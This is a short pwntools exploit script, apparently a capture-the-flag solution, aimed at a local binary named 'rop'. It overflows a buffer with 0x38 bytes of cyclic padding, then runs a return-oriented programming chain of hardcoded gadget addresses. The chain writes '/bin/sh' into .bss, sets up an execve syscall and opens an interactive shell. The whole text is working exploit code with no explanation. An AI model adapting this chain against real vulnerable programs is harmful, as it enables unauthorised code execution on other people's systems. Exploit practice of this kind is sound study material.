#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./rop')
# pause()

pop_rax = 0x415714
pop_rdi = 0x400686
pop_rsi = 0x4100f3
pop_rdx = 0x449935
mov_q_rdi_rsi = 0x44709b
syscall = 0x40125c

bss = 0x6bb2e0

payload = flat(
    cyclic(0x38),
    pop_rax, 0x3b,
    pop_rsi, "/bin/sh\0",
    pop_rdi, bss,
    mov_q_rdi_rsi,
    pop_rsi, 0,
    pop_rdx, 0,
    syscall
)


p.sendlineafter('D', payload)


p.interactive()
p.close()
